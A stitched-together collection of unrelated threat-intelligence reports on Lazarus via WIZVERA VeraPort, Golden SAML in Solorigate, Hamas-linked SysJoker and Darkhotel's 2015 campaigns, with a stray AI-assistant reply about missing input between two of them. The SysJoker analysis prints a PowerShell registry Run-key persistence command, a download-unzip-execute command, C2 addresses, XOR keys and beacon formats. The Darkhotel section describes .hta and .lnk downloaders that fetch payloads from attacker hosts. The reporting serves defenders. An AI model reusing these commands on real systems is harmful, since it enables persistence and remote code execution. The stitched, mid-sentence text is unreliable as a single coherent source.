the same time. In recent years, ESET researchers analyzed such cases as M.E.Doc, Elmedia Player, VestaCP, Statcounter, and the gaming industry. We can safely predict that the number of supply-chain attacks will increase in the future, especially against companies whose services are popular in specific regions or in specific industry verticals. This time we analyzed how the Lazarus group used a very interesting approach to target South Korean users of WIZVERA VeraPort software. As mentioned in our analysis, it’s the combination of compromised websites with WIZVERA VeraPort support and specific VeraPort configuration options that allow attackers to perform this attack. Owners of such websites could decrease the possibility of such attacks, even if their sites are compromised, by enabling specific options (e.g., by specifying hashes of binaries in the VeraPort configuration). ## Indicators of Compromise (IoCs) **ESET detection names** - Win32/NukeSped.HW - Win32/NukeSped.FO - Win32/NukeSped.HG - Win32/NukeSped.HI - Win64/NukeSped.CV - Win64/NukeSped.DH - Win64/NukeSped.DI - Win64/NukeSped.DK - Win64/NukeSped.EP **SHA-1 of signed samples** - 3D311117D09F4A6AD300E471C2FB2B3C63344B1D - 3ABFEC6FC3445759730789D4322B0BE73DC695C7 **SHA-1 of samples** - 5CE3CDFB61F3097E5974F5A07CF0BD2186585776 - FAC3FB1C20F2A56887BDBA892E470700C76C81BA - AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 - E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C - DC72D464289102CAAF47EC318B6110ED6AF7E5E4 - 9F7B4004018229FAD8489B17F60AADB3281D6177 - 2A2839F69EC1BA74853B11F8A8505F7086F1C07A - 8EDB488B5F280490102241B56F1A8A71EBEEF8E3 **Code signing certificate serial numbers** - 00B7F19B13DE9BEE8A52FF365CED6F67FA - 4C8DEF294478B7D59EE95C61FAE3D965 **C&C** - http://www.ikrea.or[.]kr/main/main_board.asp - http://www.fored.or[.]kr/home/board/view.php - https://www.zndance[.]com/shop/post.asp - http://www.cowp.or[.]kr/html/board/main.asp - http://www.style1.co[.]kr/main/view.asp - http://www.erpmas.co[.]kr/Member/franchise_modify.asp - https://www.wowpress.co[.]kr/customer/refuse_05.asp - https://www.quecue[.]kr/okproj/ex_join.asp - http://www.pcdesk.co[.]kr/Freeboard/mn_board.asp - http://www.gongsinet.co[.]kr/comm/comm_gongsi.asp - http://www.goojoo[.]net/board/banner01.asp - http://www.pgak[.]net/service/engine/release.asp - https://www.gncaf.or[.]kr/cafe/cafe_board.asp - https://www.hsbutton.co[.]kr/bbs/bbs_write.asp - https://www.hstudymall.co[.]kr/easypay/web/bottom.asp **Mutexes** - Global\RRfreshRA_Mutex_Object ## References - KrCERT/CC, “Operation BookCodes TTPs#1 Controlling local network through vulnerable websites”, English Translation, 1st April 2020 - KrCERT/CC, “Operation BookCodes TTPs#2 스피어 피싱으로 정보를 수집하는 공격망 구성 방식 분석”, Korean, 29th June 2020 - P. Kálnai, M. Poslušný: “Lazarus Group: a mahjong game played in different sets of tiles”, Virus Bulletin 2018 (Montreal) - P. Kálnai: “Demystifying targeted malware used against Polish banks”, WeLiveSecurity, February 2017 - P. Kálnai, A. Cherepanov “Lazarus KillDisks Central American casino”, WeLiveSecurity, April 2018 - D. Breitenbacher, K. Osis: “Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies”, June 2020 - Novetta et al, “Operation Blockbuster”, February 2016 - Marcus Hutchins, “How to accidentally stop a global cyber-attack”, May 2015 - Kaspersky GReAT: “APT trends report Q2 2020”, July 2020 - A. Kasza: “The Blockbuster Saga Continues”, Palo Alto Networks, August 2017 - US-CERT CISA - WeLiveSecurity: “Sony Pictures hacking traced to Thai hotel as North Korea denies involvement”, December 2014 - R. Sherstobitoff, I. Liba. J. Walter: “Dissecting Operation Troy: Cyberespionage in South Korea”, McAfee® Labs, May 2018 - McAfee Labs: “Ten Days of Rain”, July 2011 - Fireye: “Why Is North Korea So Interested in Bitcoin?”, September 2017 - Choe Sang-Hun: “Computer Networks in South Korea Are Paralyzed in Cyberattacks”, March 2013 - A5/1 stream cipher, Wikipedia ## MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |-------------------|-------------------------|--------------------------------------------------------------|-------------| | Resource Development | T1584.004 | Compromise Infrastructure: Server | The Lazarus group uses compromised servers as infrastructure. | | Develop Capabilities | T1587.001 | Malware | The Lazarus group developed custom malware and malware components. | | Obtain Capabilities | T1588.003 | Code Signing Certificates | The Lazarus group obtained code-signing certificates. | | Initial Access | T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | The Lazarus group pushed this malware using a supply-chain attack via WIZVERA VeraPort. | | Execution | T1106 | Native API | The Lazarus payload is executed using native API calls. | | Persistence | T1547.005 | Boot or Logon Autostart Execution: Security Support Provider | The Lazarus malware maintains persistence by installing an SSP DLL. | | Defense Evasion | T1036 | Masquerading | The Lazarus malware masqueraded as South Korean security software. | | Obfuscated Files or Information | T1027.002 | Software Packing | The Lazarus group uses Themida-protected malware. | | Process Injection | T1055 | Process Injection | The Lazarus malware injects itself in svchost.exe. | | Subvert Trust Controls | T1553.002 | Code Signing | The Lazarus group used illegally obtained code-signing certificates to sign the initial downloader used in this supply-chain attack. | | Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | The Lazarus malware uses HTTP for C&C. | | Encrypted Channel | T1573.001 | Symmetric Cryptography | The Lazarus malware uses the RC4 algorithm to encrypt its C&C communications. | | Exfiltration | T1041 | Exfiltration Over C2 Channel | The Lazarus malware exfiltrates data over the C&C channel. |
# Golden SAML Revisited: The Solorigate Connection In the past few weeks, we’ve been witnessing one of the most elaborate supply-chain attacks unfold with a threat actor that infected SolarWinds Orion source code and used the update process to get to around 18,000 victims all around the globe. One of the most innovative techniques used in this attack, now known as Solorigate, is the “Golden SAML” technique. The threat actor (UNC2452) did a phenomenal job across all stages of the attack — from meticulously planting the backdoor code and making it look like yet another legitimate class, to avoiding almost every possible forensics/analysis tool you can name, and even hiding data in DNS queries and making all the traffic look as if it’s part of the SolarWinds Orion communication protocol. There’s no doubt the threat actor knew what they were doing and tried to do everything in the best way possible. Still, we believe that performing a Golden SAML attack is the most innovative part of the attack, having it be the first-ever documentation of such an attack. We (CyberArk Labs) did describe this attack vector at the end of 2017, but this is the first time we’ve seen it used in the wild. Golden SAML is an attack vector that can serve sophisticated attackers in their post-exploitation stages allowing them to maintain persistency and gain access to different services in a convenient and stealthy manner. ## Golden SAML Recap Golden SAML is a technique that allows attackers, once they got privileged access to the victim’s network, to impersonate almost any identity in the organization and acquire any type of privilege across almost all services of the organization (this depends on what services in the organization use SAML as their authentication protocol). You may already be familiar with a similar technique called Golden Ticket. Golden SAML introduces to a federation environment the same advantages that golden ticket offers in a Kerberos environment. It simply applies the same principle in a different environment. ## Why Do Attackers Want to Use Golden SAML? In this section we’ll list a few of the powerful advantages this attack vector can offer for attackers. 1. **Flexibility** – Golden SAML provides a lot of flexibility for attackers, in the sense that they can impersonate any identity they wish in the federation. It is beneficial for two main reasons: - Attackers capable of performing a Golden SAML attack can basically get access to every service or asset in the organization (as long as it’s a part of the federation of course). This means that they are not limited to the credentials/access they were lucky enough to stumble upon – they can practically gain access to anything they want. - Being able to do that gives attackers more than just access. In the majority of the cases, sophisticated attackers go to great lengths in trying to hide their activity and avoid detection. Imagine you’re an attacker and that you have gained the ability to perform a Golden SAML attack in your target’s network, which is monitored heavily. Whatever action you choose to perform next, you can do that using the identity of a user that is “known” to take this action from time to time, thus diminishing the chances of looking like a suspicious action, and ultimately getting detected and ruining the whole operation. Simply put, you are blending malicious actions with normal, legitimate activities. The attackers behind SolarWinds did just that, we can see it in the code they’ve planted, the communication protocol they used, and in their usage of legitimate configuration files for the backdoor’s needs. It is very likely that it was this flexibility and the ability to blend in which were the factors that “sold” UNC2452 on the idea to use the Golden SAML vector. 2. **MFA (Multi-Factor Authentication) Bypass** – The usage of this technique can potentially make the additional security layer MFA provides completely useless. Since users get a valid SAML token after they’ve authenticated using MFA, attackers that are using Golden SAML don’t need to go through that stage at all. The attackers basically skip it altogether and go straight to forging an identity using the stolen certificate, without having to know the user’s password or to have other authentication factors. This is a very substantial ability, and it shows that the sense of security MFA provides might just be a false one in some cases. The ability to bypass MFA depends on the specific implementation of MFA an organization might have. MFA bypass can only be applied if the integration is on the identity provider side. If the integration is on the service provider side, then multi-factor authentication happens only after the SAML token has been generated, thus making Golden SAML ineffective in bypassing it. 3. **Difficulty to Detect** – Detection of such an attack can be extremely challenging for defenders. Even though there are methods that can potentially detect such malicious behavior, many organizations are not aware of this type of threat and do not monitor SAML authentication (especially not in the pre-Solorigate era). 4. **Difficulty to Remediate** – If an attacker steals your password, it’s relatively easy to change this password and take back control of your identity. But if an attacker steals your SAML token signing certificate, it’s a whole different ballgame. First, if you’ll naively try to change your passwords, the attacker can easily continue to make SAML tokens that impersonate you, without the need to know the actual password. So, what you really need to do is to change the actual token signing certificate, which basically means reestablishing the trust across your entire federation. 5. **Long-Term Persistency** – Let’s compare this to passwords again. Passwords are being changed every set period of time, but a SAML token signing certificate is almost never changed. This allows attackers to potentially maintain their access for a long period of time. ## Golden SAML Detection and Mitigation - Follow best practices of your federation Identity Provider (IdP) technology. Some IdP support protecting your token signing certificate in a hardware security module (HSM). This should make stealing your token signing certificate a much harder task for attackers. - Do as much as you can to protect your tier-0 assets (a federation identity provider should be included here). This includes having proper credential hygiene, deploying a privileged access management solution, an EDR, etc. This will make it very difficult for attackers to gain sufficient privileges for stealing a token signing certificate in the first place. - Examine SAML tokens to identify suspicious ones (such as tokens with an unusually long lifetime or with unusual claims). - Correlate logs between your Identity Provider and your Service Provider. If you see a SAML authentication in your Service Provider that doesn’t correlate to a SAML token issuance by the Identity Provider – something is wrong. - Use third-party security solutions to protect the token signing certificate from being stolen by attackers. CyberArk Endpoint Privilege Manager (EPM) has the ability to do just that. ## Conclusion At the time of writing this post, we’re still learning new things on Solorigate with every day that passes. This attack has been an important lesson for everyone in the information security field, whether you were impacted directly or not. As for Golden SAML, we do expect to see this tactic become more commonly used for two reasons: - With more and more services being ported to the cloud, there is a greater need to establish some level of trust between them and between on-premise services – and SAML has become the de facto authentication and authorization standard. Attackers operating in those types of environments will have to adapt their methods to fit the new norm. - Seeing Golden SAML being used in one of the most sophisticated and elaborate cyber-attacks we have seen in recent years, potential future attackers will come to know this tactic and possibly use it as well in the future. We need to find joy in the rare cases in which defenders beat attackers at their own game and anticipate attack vectors before they’re being used in the wild by malicious threat actors. This timeframe between the discovery of a new attack vector and its use by attackers should be utilized by defenders to prepare their network for such an attack as best as they can – setting up monitoring rules to detect this and deploying protection mechanisms that should block it. Golden SAML is a great example of such an opportunity, and we hope that as a security community we can learn from that and do better in the future.
# Israel-Hamas War Spotlight: Shaking the Rust Off SysJoker **Key Findings** Check Point Research is actively tracking the evolution of SysJoker, a previously publicly unattributed multi-platform backdoor, which we assess was utilized by a Hamas-affiliated APT to target Israel. Among the most prominent changes is the shift to Rust language, indicating the malware code was entirely rewritten while still maintaining similar functionalities. Additionally, the threat actor moved to using OneDrive instead of Google Drive to store dynamic C2 (command and control server) URLs. Analysis of newly discovered variants of SysJoker revealed ties to previously undisclosed samples of Operation Electric Powder, a set of targeted attacks against Israeli organizations between 2016-2017 that were loosely linked to the threat actor known as Gaza Cybergang. ## Introduction Amid tensions in the ongoing Israel-Hamas war, Check Point Research has been conducting active threat hunting to discover, attribute, and mitigate relevant regional threats. Among those, some new variants of the SysJoker malware, including one coded in Rust, recently caught our attention. Our assessment is that these were used in targeted attacks by a Hamas-related threat actor. SysJoker, initially discovered by Intezer in 2021, is a multi-platform backdoor with multiple variants for Windows, Linux, and Mac. The same malware was also analyzed in another report a few months after the original publication. Since then, SysJoker Windows variants have evolved enough to stay under the radar. As we investigated the newer variants of SysJoker that were utilized in targeted attacks in 2023, we also discovered a variant written in Rust, suggesting the malware code was completely rewritten. Additionally, we uncovered behavioral similarities with another campaign named Operation Electric Powder, which targeted Israel in 2016-2017. This campaign was previously linked to Gaza Cybergang (aka Molerats), a threat actor operating in conjunction with Palestinian interests. In this article, we drill down into the Rust version of SysJoker, as well as disclose additional information on other SysJoker Windows variants and their attribution. ## Rust SysJoker Variant The SysJoker variant (9416d7dc2ecdeda92ba35cd5e54eb044), written in Rust, was submitted to VirusTotal with the name php-cgi.exe on October 12, 2023. Compiled a few months earlier on August 7, it contains the following PDB path: C:\Code\Rust\RustDown-Belal\target\release\deps\RustDown.pdb. The malware employs random sleep intervals at various stages of its execution, which may serve as possible anti-sandbox or anti-analysis measures. The sample has two modes of operation determined by its presence in a particular path, intended to differentiate the first execution from any subsequent ones based on persistence. First, it checks whether the current running module matches the path C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe. Based on the outcome, the malware proceeds to one of the two possible stages. ### First execution If the sample runs from a different location, indicating it’s the first time the sample is executed, the malware copies itself to the path C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe and then runs itself from the newly created path using PowerShell with the following parameter: `-Command C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe` Finally, it creates a persistence mechanism and then exits the program. Persistence is established in an unusual way, using PowerShell with the following argument: `-Command "$reg=[WMIClass]'ROOT\DEFAULT:StdRegProv'; $results=$reg.SetStringValue('&H80000001','Software\Microsoft\Windows\CurrentVersion\Run', 'php-cgi', 'C:\ProgramData\php-7.4.19-Win32-vc15-x64\php-cgi.exe');"` This PowerShell code creates a registry Run key in the HKEY_CURRENT_USER hive, which points to the copy of the executable, using the WMI StdRegProv class instead of directly accessing the registry via the Windows API or reg.exe. ### Subsequent executions (from persistence) SysJoker contacts a URL on OneDrive to retrieve the C2 server address. The URL is hardcoded and encrypted inside the binary: `https://onedrive.live[.]com/download?resid=16E2AEE4B7A8BBB1%21112&authkey=!AED7TeCJaC7JNVQ` The response should also contain a XOR-encrypted blob of data that is encoded in base64. During our investigation, the following response was received: `KnM5Sjpob2glNTY8AmcaYXt8cAh/fHZ+ZnUNcwdld2Mr` After decryption, the C2 IP address and port are revealed: `{"url":"http://85.31.231[.]49:443"}` Using OneDrive allows the attackers to easily change the C2 address, enabling them to stay ahead of different reputation-based services. This behavior remains consistent across different versions of SysJoker. The malware collects information about the infected system, including the Windows version, username, MAC address, and various other data. This information is then sent to the /api/attach API endpoint on the C2 server, and in response, it receives a unique token that serves as an identifier when the malware communicates with the C2. After registration with the C2 server, the sample runs the main C2 loop. It sends a POST request containing the unique token to the /api/req endpoint, and the C2 responds with JSON data. The expected response from the server is a JSON that contains a field named data that contains an array of actions for the sample to execute. Each array consists of id and request fields. The request field is another JSON with fields called url and name. An example of the response from the server: `{"data":[{"id":"1", "request":"{"url": "http://85.31.231[.]49/archive_path", "name":"mal_1.exe"}"}, {"id":"2", "request":"{"url": "http://85.31.231[.]49/archive_path", "name":"mal_2.exe"}"}]}` The malware downloads a zip archive from the URL specified in the url field. The archive contains an executable that after unzipping is saved as the name field into C:\ProgramData\php-Win32-libs folder. The archive is unzipped using the following PowerShell command: `powershell -Command Expand-Archive -Path C:\ProgramData\php-Win32-libs\XMfmF.zip -DestinationPath C:\ProgramData\php-Win32-libs; start C:\ProgramData\php-Win32-libs\exe_name.exe` It is important to mention that in previous SysJoker operations, the malware also had the ability not only to download and execute remote files from an archive but also to execute commands dictated by the operators. This functionality is missing in the Rust version. After receiving and executing the file download command, depending on whether the operation was successful or not, the malware contacts the C2 server again and sends a success or exception message to the path /api/req/res. The server sends back a JSON confirmation indicating that it has received the information: `{"status":"success"}` ### Encryption The malware has two methods for string decryption. The first method is simple and appears across multiple SysJoker variants. The sample contains several base64-encoded encrypted data blobs and a base64-encoded key. Upon decryption, both blobs are base64-decoded and then XORed to produce the plain text strings. The second encryption method is tedious and is spliced in-line throughout the program repeatedly at compile time. This generates a complex string decryption algorithm throughout the sample. ## Windows SysJoker Variants In addition to the newly found Rust variant, we uncovered two more SysJoker samples that were not publicly exposed in the past. Both of these samples are slightly more complex than the Rust version or any of the previously analyzed samples, possibly due to the public discovery and analysis of the malware. One of these samples, in contrast to other versions, has a multi-stage execution flow, consisting of a downloader, an installer, and a separate payload DLL. ### DMADevice variant The DMADevice sample (d51e617fe1c1962801ad5332163717bb) was compiled in May 2022, a few months after SysJoker was first uncovered. Like other versions, the malware starts by retrieving the C2 server address by contacting the URL: `https://onedrive.live[.]com/download?cid=F6A7DCE38A4B8570&resid=F6A7DCE38A4B8570!115&authkey=AKcf8zLcDneJZHw` The OneDrive link responds with an encrypted base64-encoded string, which is decrypted with the XOR key QQL8VJUJMABL8H5YNRC9QNEOHA4I3QDAVWP5RY9L0HCGWZ4T7GTYQTCQTHTTN8RV6BMKT3AICZHOFQS8MTT. This is the same key that is used in the Rust version. The decrypted blob contains a JSON with the C2 domain in the following format: `{"url":"http://sharing-u-file[.]com"}` Next, the malware proceeds to the three-stage execution process. 1. **Setup files and persistence** The sample generates a unique bot ID, sends it in a POST request to the /api/cc API endpoint, and receives back the JSON describing the desired malware setup on the infected machine. The JSON has the following structure: `{"key":"f57d611b-0779-4125-a3e8-4f8ca3116509","pi":"VwUD[REDACTED]","data":"PRdkHUVFVA9pQl5BXA8YE2JHQgZBBFVpVRJZQU0RdXx3cVVPD1ZSRhoTdS9sY1hbTFldXlx8QwIRSRp"}` The field key in the JSON is used to XOR-decrypt the other fields after they are base64-decoded: the pi field contains the victim’s IP address and the data field contains the array with multiple values: `["SystemDrive","ProgramData","DMADevice","DMASolutionInc","DMASolutionInc.exe","DMASolutionInc.dll","powershell.exe","cmd","open","start","\/c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run \/V","\/t REG_SZ \/D",".exe","$env:username | Out-File -Encoding 'utf8' '","SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"]` Those values are utilized in the following order: - SystemDrive – Get the system hard drive letter. - ProgramData – Create these two folders under the specified (in this case, ProgramData) folder: - DMADevice – The first folder name created. - DMASolutionInc.exe – The file name used by the currently running executable to self-replicate into the DMADevice folder. - DMASolutionInc.dll – The name of the config file. - DMASolutionInc – The second folder name created. The rest of the values are used in a few commands that establish persistence via the registry Run key and retrieve the current user name from $env into the temporary txt file. The config file, in our case DMASolutionInc.dll, is stored on a disk encrypted (using the same key used to decrypt the domain) and base64-encoded. It contains encrypted JSON with the following fields: `{"id":"[BOT-ID]","us":"[USERNAME]","ip":"[IP]"}` After performing all these operations, the sample executes its copy from DMASolutionInc.exe and exits. 2. **Register with the C2 server** When the sample is executed again (via persistence from the previous stage), it checks the location it is running from. It then continues the execution by making a POST request to /api/add containing the uuid, user name, and user token, which is also generated by the malware: `uuid=bot-id&nu=username&user_token=token` The server responds with a token generated on its side which is then used for all the subsequent C2 requests. 3. **C2 main loop** The token received during the previous stage is used for making POST requests to /api/cr on the C2 server to retrieve the commands to execute. Similar to other SysJoker variants, the server responds with a JSON that contains field data which is an array of actions to take. This version can download and execute files or run commands and upload the results to the C2 server. For each command in the array, the sample sends a response reporting if it was successful or not. ### AppMessagingRegistrar variant This variant has a compilation timestamp of June 2022 and has a quite different execution flow. The functionality of the malware is divided into two separate components: a downloader (DDN, c2848b4e34b45e095bd8e764ca1a4fdd) and a backdoor (AppMessagingRegistrar, 31c2813c1fb1e42b85014b2fc3fe0666). #### DDN Downloader The threat actors first deliver a lightweight downloader. It creates the folder C:\ProgramData\NuGet Library\, then downloads a zip file from `https://filestorage-short[.]org/drive/AppMessagingRegistrar.zip`. It unzips the file, copies it into the AppMessagingRegistrar.exe file, and then executes it. Splitting the functionality into separate components has proved effective: at the time of the first submission to VirusTotal (VT), the malware was not detected by any of the platform’s engines. #### AppMessagingRegistrar Upon execution, this payload first checks the registry key SOFTWARE\Intel\UNP\ProgramUpdates\UUID for the UUID of the PC. If the registry key is not available, a UUID is generated using the UuidCreate function and is then saved to the previously mentioned key. The variant then proceeds to decrypt a hardcoded OneDrive URL to retrieve a C2 address. The XOR key in this sample is 22GC18YH0N4RUE0BSJOAVW24624ULHIQGS4Y1BQQUZYTENJN2GBERQBFKF2W78H7. After the C2 address is decrypted, a POST request is made to the C2 server API endpoint /api/register which contains the previously generated UUID. The server responds with a JSON containing a token and a status message: `{"status":"success","token":"[TOKEN]","status_num":1}` The status indicates if the request was valid or not, and the samples check specifically for the string “success”. The token is used for all the following C2 requests but unlike all the other samples, instead of using the body of requests, it is sent in the Authorization header: `Authorization: Bearer [TOKEN]` This change could be to accommodate additional flows in the malware execution in which the malware sends a GET request instead of a POST and requires a mechanism for the server to identify the sender. The status_num field is used as a global flag to indicate what actions the bot should take. There are four statuses available: | Status Number | Action | Description | |---------------|-----------------------|--------------------------------------------------------------| | 0 | Setup | Download MsoftInit.dll and execute the init and step exports.| | 1 | Idle loop | Wait for status_num to change. | | 3 | Payload retrieval | Download and save MsoftNotify.dll DLL. | | 4 | Payload execution | Execute MsoftNotify.dll DLL. | ### Setup phase If the received status_num is 0, the malware creates the C:\ProgramData\Intel\UNP\ProgramUpdates and C:\ProgramData\Intel\Drivers\MsoftUpdates folders. It then proceeds to: 1. Download a DLL file using the function UrlDownloadToFileW from the path /api/library/[TOKEN] and save it to C:\ProgramData\Intel\Drivers\MsoftUpdates\MsoftInit.dll. 2. Load the MsoftInit.dll and call the init exported function. 3. Load the same DLL again and call the step exported function. The exact purpose of those functions is unknown as we were not able to retrieve the DLL. However, due to the names and our analysis of previous versions of the malware, we believe they were part of the persistence and setup process. Finally, the malware sends an empty POST request to the API endpoint /api/update. The expected response from the server is an empty JSON. ### Idle loop If the status_num is 1, the malware continues to make requests to the C2 API endpoint /api/status in an infinite loop. To break the loop, the status_num must change. ### Main payload download If the status_num is 3, the malware proceeds to download a DLL file from URL /api/library/[TOKEN] and saves it to the path C:\ProgramData\Intel\Drivers\MsoftUpdates\MsoftNotify.dll. It then sends a request to the C2 API endpoint /api/ready: if the server responds with a status success, the status flag is then set to 4. ### Payload execution If the status is 4, the malware proceeds to make a GET request to the C2 API endpoint /api/requests. The C2 server responds with a JSON with 3 parameters, id, r, and k. The malware then loads the MsoftNotify.dll DLL and resolves the function st. The r and k values sent from the server are used by st as parameters. We were not able to retrieve the DLL, but based on the previous versions, this is likely a version of the main command running functionality for the backdoor, and its return value should be a string. After the function runs and returns a result, the id received in the token is used in the POST request to the C2 which contains the output: `POST /api/requests/[ID] HTTP/1.1` `Host: [62.108.40.129]` `Accept: application/json` `Authorization: Bearer [TOKEN]` `Content-Length: 15` `Content-Type: application/x-www-form-urlencoded` `response=[EXECUTION OUTPUT]` ## Infrastructure The infrastructure used in this campaign is configured dynamically. First, the malware contacts a OneDrive address, and from there, it decrypts the JSON containing the C2 address with which to communicate. The C2 address is encrypted with a hardcoded XOR key and base64-encoded. This threat actor commonly uses cloud storage services. Previous reports show Google Drive was used for the same purpose. ## Ties to Operation Electric Powder The SysJoker backdoor uses its own custom encryption for three main strings: the OneDrive URL containing the final C2 address, the C2 address received from the request to OneDrive, and a PowerShell command used for persistence: `$reg=[WMIClass]'ROOT\DEFAULT:StdRegProv'; $results=$reg.SetStringValue('&H80000001','Software\Microsoft\Windows\CurrentVersion\Run'...` This PowerShell command based on the StdRegProv WMI class is quite unique. It is shared between multiple variants of SysJoker and only appears to be shared with one other campaign, associated with Operation Electric Powder previously reported by ClearSky. The 2017 report describes the persistent activity carried out in 2016-2017 against the Israel Electric Company (IEC). This operation used phishing and fake Facebook pages to deliver both Windows and Android malware. Windows malware used in this campaign consisted of a dropper, a main backdoor, and a Python-based keylogging and screen-grabbing module. Throughout our analysis of the SysJoker operation, we saw indications suggesting that the same actor is responsible for both attacks, despite the large time gap between the operations. Both campaigns used API-themed URLs and implemented script commands in a similar fashion. This includes the Run registry value but is not the only common factor. ## Conclusion Although the SysJoker malware, which was first seen in 2021 and publicly described in 2022, wasn’t attributed to any known actor, we found evidence that this tool and its newer variants have been used as part of the Israeli-Hamas conflict. We were also able to make a connection between SysJoker and the 2016-2017 Electric Powder Operation against Israel Electric Company. In our report, we described the evolution of the malware and the changes in the complexity of its execution flow, as well as its latest shift to the Rust language and the latest infrastructure it uses. The earlier versions of the malware were coded in C++. Since there is no straightforward method to port that code to Rust, it suggests that the malware underwent a complete rewrite and may potentially serve as a foundation for future changes and improvements. ## Check Point Customers Remain Protected Check Point Customers remain protected against attacks detailed in this report, while using Check Point Anti-Bot, Harmony Endpoint, and Threat Emulation. ### Threat Emulation - Backdoor.Wins.Sysjoker.ta.R - Backdoor.Wins.Sysjoker.ta.Q - Backdoor.Wins.Sysjoker.ta.P - Backdoor.Wins.Sysjoker.ta.O - Backdoor.Wins.Sysjoker.ta.N - Backdoor.Wins.Sysjoker.ta.M - Backdoor.Wins.Sysjoker.ta.L ### Harmony Endpoint - Backdoor.Win.SysJoker.H - Backdoor_Linux_SysJoker_A/B/C/D/E/F ### Check Point Anti-Bot - Backdoor.WIN32.SysJoker.A - Backdoor.WIN32.SysJoker.B - Backdoor.WIN32.SysJoker.C ## IOCs **Infrastructure** - 85.31.231[.]49 - sharing-u-file[.]com - filestorage-short[.]org - audiosound-visual[.]com - 62.108.40[.]129 **Hashes** - d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72 - 6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95 - e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836 - 96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f - 67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706 - 0ff6ff167c71b86c511c36cba8f75d1d5209710907a807667f97ce323df9c4ba
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist!
# Darkhotel’s Attacks in 2015 Darkhotel APT attacks dated 2014 and earlier are characterized by the misuse of stolen certificates, the deployment of .hta files with multiple techniques, and the use of unusual methods like the infiltration of hotel Wi-Fi to place backdoors in targets’ systems. In 2015, many of these techniques and activities remain in use. However, in addition to new variants of malicious .hta, we find new victims, .rar attachments with RTLO spearphishing, and the deployment of a 0day from Hacking Team. The Darkhotel APT continues to spearphish targets around the world, with a wider geographic reach than its previous botnet buildout and hotel Wi-Fi attacks. Some of the targets are diplomatic or have strategic commercial interests. ## The location of Darkhotel’s targets and victims in 2015: - North Korea - Russia - South Korea - Japan - Bangladesh - Thailand - India - Mozambique - Germany ## 2015 Darkhotel .hta and backdoor-related, exploit-related and c2 sites: - storyonboard[.]net - tisone360[.]org - openofficev[.]info - saytargetworld[.]net - error-page[.]net - eonlineworld[.]net - enewsbank[.]net - thewordusrapid[.]com ## 2015 spearphishing incident attachment name subset: - schedule(6.1~6).rar -> schedule(6.1~6)_?gpj.scr - schedule(2.11~16).rar -> schedule(2.11~16)_?gpj.scr - congratulation.rar -> congratulation_?gpj.scr - letter.rar -> letter_?gpj.scr Consistent use of obfuscated .hta downloaders. Whether the infection is achieved through spearphishing, physical access to a system or the Hacking Team Flash 0day, there frequently seems to be a common method for a newly-infected system to communicate with Darkhotel’s c2: a lightly obfuscated (double escaped set of javascript variable values) script maintained within an .hta file writes an executable to disk and executes it. It is interesting that this particular group has for years now deployed backdoor and downloader code in the form of .hta files. In 2010, we observed it re-purposing articles on North Korea by the US think-tank, Brookings Institute, in order to attack North Korean-related targets with malicious code buried in .hta files. It also emailed links to its malicious .hta files to North Korean tourist groups, economists with an interest in North Korea, and more. It’s somewhat strange to see such heavy reliance on older Windows-specific technology like HTML applications, introduced by Microsoft in 1999. From the recent sendspace.servermsys.com/downloader.hta: After execution and escaping a couple of variables, the .hta uses ancient Adodb.stream components in order to write out a string xor’d with 0x3d as an executable file and runs it. This code results in the execution of “internet_explorer_Smart_recovery.exe” 054471f7e168e016c565412227acfe7f, and a hidden browser window phoning back to its c2. In this case, it seems that Darkhotel operators are checking as to whether or not the victim’s default browser is Internet Explorer, as all versions of IE return the value “0” and other browsers leave “appMinorVersion” undefined. This data collection seems somewhat odd, because .hta files are supported and run by mshta.exe on Windows systems only, still delivered with Windows 8. Perhaps it is an artifact from early development of the code. The “internet_explorer_Smart_recovery.exe” file is a simple obfuscated downloader. A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports. When finished, this url string decryption and connectback looks like http://sendspace.servermsys.com/wnctprx. The file is downloaded (b1f56a54309147b07dda54623fecbb89) to “.tmp” file in %temp%, executed, and the downloader exits. This larger file is a backdoor/downloader that includes ssh functionality, and drops its keys to disk for ssh interaction. We find older Darkhotel information stealers dropped and run on the system by these downloaders. ## Spearphishing and .rar Attachments with RTLO The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems. Some targets are spearphished repeatedly with much the same social-engineering schemes. For example, the attachment “schedule(2.11~16).rar” could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment “schedule(6.1~6).rar”. It consistently archives RTLO .scr executable files within .rar archives, in order to appear to the target as innocuous .jpg files. These executable files are lite droppers, maintaining these decoy jpeg files, and code to create an lnk downloader. When the target attempts to open what they think is a jpg image file, the executable code runs and drops a jpg image to disk, then opens it with mspaint.exe in the background. This “congratulations” document is in Korean, revealing a likely characteristic of the intended target. While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. This technique is also used by other APTs as persistence mechanisms, as documented by our Mandiant colleagues. The 64kb lnk file is downloader code: When this lnk file is executed, it begins an AJAX-based download process for the “unzip.js” file (a07124b65a76ee7d721d746fd8047066) on openofficev.info. This is another wscript file implementing AJAX to download and execute a relatively large compiled executable: This executable code is saved to %temp%\csrtsrm.exe and executed there. It is a relatively large executable (~1.2 mb) that injects malicious code and spawns remote threads into legitimate processes. ## Stolen Certificates and Evasion The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them. Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co. Ltd. 